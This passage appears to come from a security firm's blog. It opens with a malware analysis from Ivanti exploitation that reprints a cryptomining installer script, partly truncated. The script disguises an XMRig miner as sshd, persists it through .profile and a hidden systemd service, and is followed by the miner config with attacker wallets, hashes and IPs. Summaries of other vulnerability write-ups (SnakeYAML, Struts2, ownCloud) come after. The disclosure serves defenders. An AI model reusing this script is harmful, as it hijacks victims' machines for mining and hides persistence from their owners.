sed -i 's/"user": *"[^"]*",/"user": "'$WALLET'",/' $HOME/.ssh/config.json
sed -i 's/"pass": *"[^"]*",/"pass": "'$PASS'",/' $HOME/.ssh/config.json
sed -i 's#"log-file": *null,#"log-file": "'$HOME/.ssh/sshd.log'",#' $HOME/.ssh/config.json
sed -i 's/"syslog": *[^,]*,/"syslog": true,/' $HOME/.ssh/config.json

cp $HOME/.ssh/config.json $HOME/.ssh/config_background.json
sed -i 's/"background": *false,/"background": true,/' $HOME/.ssh/config_background.json

cat >$HOME/.ssh/miner.sh </dev/null; then
  nice $HOME/.ssh/sshd \$*
else
  echo "Monero miner is already running in the background. Refusing to run another one."
  echo "Run \"killall xmrig\" or \"sudo killall xmrig\" if you want to remove background miner first."
fi
EOL

chmod +x $HOME/.ssh/miner.sh

# 创建计划任务

if ! sudo -n true 2>/dev/null; then
  if ! grep .ssh/miner.sh $HOME/.profile >/dev/null; then
    echo "[*] Adding $HOME/.ssh/miner.sh script to $HOME/.profile"
    echo "$HOME/.ssh/miner.sh --config=$HOME/.ssh/config_background.json >/dev/null 2>&1" >>$HOME/.profile
  else 
    echo "Looks like $HOME/.ssh/miner.sh script is already in the $HOME/.profile"
  fi
  echo "[*] Running miner in the background (see logs in $HOME/.ssh/sshd.log file)"
  /bin/bash $HOME/.ssh/miner.sh --config=$HOME/.ssh/config_background.json >/dev/null 2>&1
else

  if [[ $(grep MemTotal /proc/meminfo | awk '{print $2}') > 3500000 ]]; then
    echo "[*] Enabling huge pages"
    echo "vm.nr_hugepages=$((1168+$(nproc)))" | sudo tee -a /etc/sysctl.conf
    sudo sysctl -w vm.nr_hugepages=$((1168+$(nproc)))
  fi

  if ! type systemctl >/dev/null; then

    echo "[*] Running miner in the background (see logs in $HOME/.ssh/sshd.log file)"
    /bin/bash $HOME/.ssh/miner.sh --config=$HOME/.ssh/config_background.json >/dev/null 2>&1
    echo "ERROR: This script requires \"systemctl\" systemd utility to work correctly."
    echo "Please move to a more modern Linux distribution or setup miner activation after reboot yourself if possible."

  else

    echo "[*] Creating .ssh_miner systemd service"
    cat >/tmp/.ssh_miner.service </dev/null
    sudo systemctl daemon-reload
    sudo systemctl enable .ssh_miner.service
    sudo systemctl start .ssh_miner.service
  fi
fi

That appears to install an ssh server, install a .json configuration file, and set up a systemd service, as well as a backdoor in the user's .profile file. Here's the configuration file:

{
    "api": {
        "id": null,
        "worker-id": null
    },
    "http": {
        "enabled": false,
        "host": "127.0.0.1",
        "port": 0,
        "access-token": null,
        "restricted": true
    },
    "autosave": true,
    "background": false,
    "colors": true,
    "title": true,
    "randomx": {
        "init": -1,
        "init-avx2": 0,
        "mode": "auto",
        "1gb-pages": false,
        "rdmsr": true,
        "wrmsr": true,
        "cache_qos": false,
        "numa": true,
        "scratchpad_prefetch_mode": 1
    },
    "cpu": {
        "enabled": true,
        "huge-pages": true,
        "huge-pages-jit": false,
        "hw-aes": null,
        "priority": null,
        "memory-pool": true,
        "yield": true,
        "max-threads-hint": 40,
        "asm": true,
        "argon2-impl": null,
        "astrobwt-max-size": 550,
        "astrobwt-avx2": false,
        "cn/0": false,
        "cn-lite/0": false
    },
    "opencl": {
        "enabled": false,
        "cache": true,
        "loader": null,
        "platform": "AMD",
        "adl": true,
        "cn/0": false,
        "cn-lite/0": false,
        "panthera": false
    },
    "cuda": {
        "enabled": false,
        "loader": null,
        "nvml": true,
        "cn/0": false,
        "cn-lite/0": false,
        "panthera": false,
        "astrobwt": false
    },
    "donate-level": 1,
    "donate-over-proxy": 1,
    "log-file": null,
    "pools": [
        {
            "algo": null,
            "coin": null,
            "url": "auto.c3pool.org:19999",
            "user": "45yeuMC5LauAg18s7JPvpwNmPqDUrgZnhYwpQnbpo5PJKttK4GrjqS2jN1bemwMjrTc7QG414P6XgNZQGbhpwsnrKUsKSt5",
            "pass": "default",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null,
            "daemon": false,
            "socks5": null,
            "self-select": null,
            "submit-to-origin": false
        },
        {
            "algo": null,
            "coin": null,
            "url": "auto.c3pool.org:19999",
            "user": "43uAMN5SYT45ZQqeNS6jkW5ssKjm7N4bmLT5uL49bvxGJnsPywn2zPhQA8nHc9XTGXavrstGj3pFy4geh3dV2x9uM8TfwzJ",
            "pass": "default",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null,
            "daemon": false,
            "socks5": null,
            "self-select": null,
            "submit-to-origin": false
        }
    ],
    "print-time": 60,
    "health-print-time": 60,
    "dmi": true,
    "retries": 5,
    "retry-pause": 5,
    "syslog": false,
    "tls": {
        "enabled": false,
        "protocols": null,
        "cert": null,
        "cert_key": null,
        "ciphers": null,
        "ciphersuites": null,
        "dhparam": null
    },
    "user-agent": null,
    "verbose": 0,
    "watch": true,
    "rebench-algo": false,
    "bench-algo-time": 20,
    "pause-on-battery": false,
    "pause-on-active": false

Advice: Check for a systemd service called .ssh_miner, a .profile entry that rusn a miner, or a file called /tmp/script.sh

IoCs

Here are the SHA256 sums of all the files I saw:

  • 0c9ada54a8a928a747d29d4132565c4ccecca0a02abe8675914a70e82c5918d2  backdoor
  • bbfba00485901f859cf532925e83a2540adfe01556886837d8648cd92519c68d  ivanti.js
  • cf20940907be484440e8343aa05505ad2e4d6d1f24ef29504bfa54ade4a8455f  m.sh
  • 8eadb5beeb21d4a95dacd133cb2b934342fcb39fe4df2a8387a0d5499c72450d  watchbog
  • 1e1e94bd2bfd5054265123bf55c4cf6ce87de6692d9329bda4a37e89272356e4  watchd0g
  • 45c9578bbceb2ce2b0f10133d2f3f708e78c8b7eb3c52ad69d686e822f9aa65f  config.json
  • 4cba272d83f6ff353eb05e117a1057699200a996d483ca56fa189e9eaa6bb56c  script.sh

And some file paths:

  • /etc/<long number>
  • /etc/cron.d/<long number>
  • /tmp/<long number>
  • /var/tmp/<long number>
  • m.sh
  • /tmp/watchd0g
  • /tmp/watchbog
  • /tmp/script.sh
  • $HOME/.ssh/config.json
  • $HOME/.ssh/sshd
  • $HOME/.ssh/config_background.json

And the IP addresses / users I observed:

  • 45.130.22.219
  • https[:]//raw.githubusercontent.com/momika233
  • 192.252.183.116

We recommend organizations block IPs that have recently exploited Ivanti. We have published a Gist containing these IPs.

CVE-2022-1471: SnakeYAML Deserialization Deep Dive

SnakeYAML has slithered its way into a deserialization vulnerability, with versions before 2.0 allowing remote code execution when used to parse untrusted input. In this GreyNoise Labs post, Lead Security Researcher Ron Bowes digs into the technical details, drama, and exploits around CVE-2022-1471.  

By default, SnakeYAML allows the instantiation of arbitrary Java classes from untrusted YAML sources. This "insecure by default" design has led to at least eight different vulnerabilities prior to its official designation as a CVE. We'll highlight the unhelpful responses from developers and the importance of secure defaults.

Additionally, we'll demonstrate how to build a vulnerable app and understand how the deserialization actually works, developing an exploit to demonstrate how to achieve remote code execution.

C'mon down for an in-depth look at this critical YAML vulnerability!

Mining The Undiscovered Country With GreyNoise EAP Sensors: F5 BIG-IP Edition

Over at the GreyNoise Labs Grimoire, Ron Bowes has a new, deep-dive post out on the creation of a simple clone of the F5 BIG-IP management port to attract traffic and analyze it. Ron deployed the honeypot for a couple of weeks and then analyzed the traffic using tshark

Some interesting findings include:

  • Brute-force attacks on the login page with basic credentials like “user123” and “password123”.
  • Attempts to exploit CVE-2021-22986, an SSRF issue in the authentication parser.
  • Traffic targeting the “/mgmt/tm/util/bash” endpoint, which is typically targeted for auth-bypass issues like CVE-2022-1388.
  • Two instances of exploitation attempts targeting the “/mgmt/shared/iapp/rpm-spec-creator endpoint”, which is related to CVE-2022-41800, an authenticated remote code execution vulnerability.

Ron does note that the majority of the traffic is not related to a rumored 0-day exploit, and that the honeypot helped provide insights into various attack attempts and vulnerabilities.

Pour out your fav caffeinated beverage and sink into Ron's insightful post!

A Day In The Life Of A GreyNoise Researcher: The Path To Understanding The Remote Code Execution Vulnerability Apache (CVE-2023-50164) in Apache Struts2

Over on the GreyNoise Labs Grimoire, Matthew Remacle (Remy) digs into the newly disclosed Apache Struts2 CVE-2023-50164 file upload vulnerability. This weakness allows an attacker to drop a web shell that can be called remotely through a public interface over defined routes.

Keep an eye on our new tag for CVE-2023-40164.

Remy's analysis highlights the following key points:
  • Apache Struts2 is an open-source Java web application development framework used in various enterprise-grade applications and business use cases.
  • The vulnerability occurs when a multipart form request is used, and the constraints for path normalization are bypassed.
  • The attacker can inject a web shell (e.g., shell.jsp) into the file system, which can then be remotely called.
  • The exploitation of this vulnerability depends on the specific implementation of Apache Struts2 in a vendor's product and the defined actions' path.

In the coming weeks, GreyNoise and the extended research community are expected to investigate vendor and product-specific implementations leveraging Apache Struts2 to determine the exact path that must be traversed to drop a web shell in those products and call it remotely through a public interface over the defined routes.

Using GreyNoise EAP Sensors For Novel Exploitation Discovery For CVE-2023-47246

In a new GreyNoise Labs’ blog post, researcher Jacob Fisher (a.k.a. h0wdy) explored the use of our new Early Access Program (EAP) dynamic sensors to catch a new proof of concept (PoC) for CVE-2023-47246 — a path traversal vulnerability leading to remote code execution (RCE) in SysAid On-Premise software.

In it, Jacob discusses the importance of reactive honeypots/sensors for obtaining accurate and comprehensive packet captures, along with his methodology for digging into the gory details of real-world service exploitation. This work helped create our new tag for this exploit.

Discover how dynamic honeypots can help you stay ahead of emerging threats, and learn from Jacob’s experience with this novel vulnerability.

CVE-2023-49103: ownCloud Critical Vulnerability Quickly Exploited in the Wild

2023-11-30 UPDATE

Ron Bowes of the GreyNoise Labs team has made some updates to the deep dive into this critical vulnerability in ownCloud’s Graph API.

2023-11-29 UPDATE

Ron Bowes of the GreyNoise Labs team has put together a deep dive into this critical vulnerability in ownCloud’s Graph API. Ron discusses the exploit, its impact on Docker installations, and our comprehensive testing process, here at GreyNoise.


2023-11-27 ORIGINAL POST

On November 21, 2023, ownCloud publicly disclosed a critical vulnerability with a CVSS severity rating of 10 out of 10. This vulnerability, tracked as CVE-2023-49103, affects the "graphapi" app used in ownCloud. 

ownCloud is a file server and collaboration platform that enables secure storage, sharing, and synchronization of commonly sensitive files.

The vulnerability allows attackers to access admin passwords, mail server credentials, and license keys. 

GreyNoise has observed mass exploitation of this vulnerability in the wild as early as November 25, 2023.

The vulnerability arises from a flaw in the "graphapi" app, present in ownCloud versions 0.2.0 to 0.3.0. This app utilizes a third-party library that will reveal sensitive PHP environment configurations, including passwords and keys. Disabling the app does not entirely resolve the issue, and even non-containerized ownCloud instances are at risk. Docker containers before February 2023 are not affected. 

Mitigation information listed in the vendor's disclosure includes manual efforts such as deleting a directory and changing any secrets that may have been accessed.

In addition to CVE-2023-49103, ownCloud has also disclosed other critical vulnerabilities, including an authentication bypass flaw (CVE-2023-49105) and a critical flaw related to the oauth2 app (CVE-2023-49104). 

Organizations using ownCloud should address these vulnerabilities immediately. 

No blog articles found

Please update your search term or select a different category and try again.

Get started today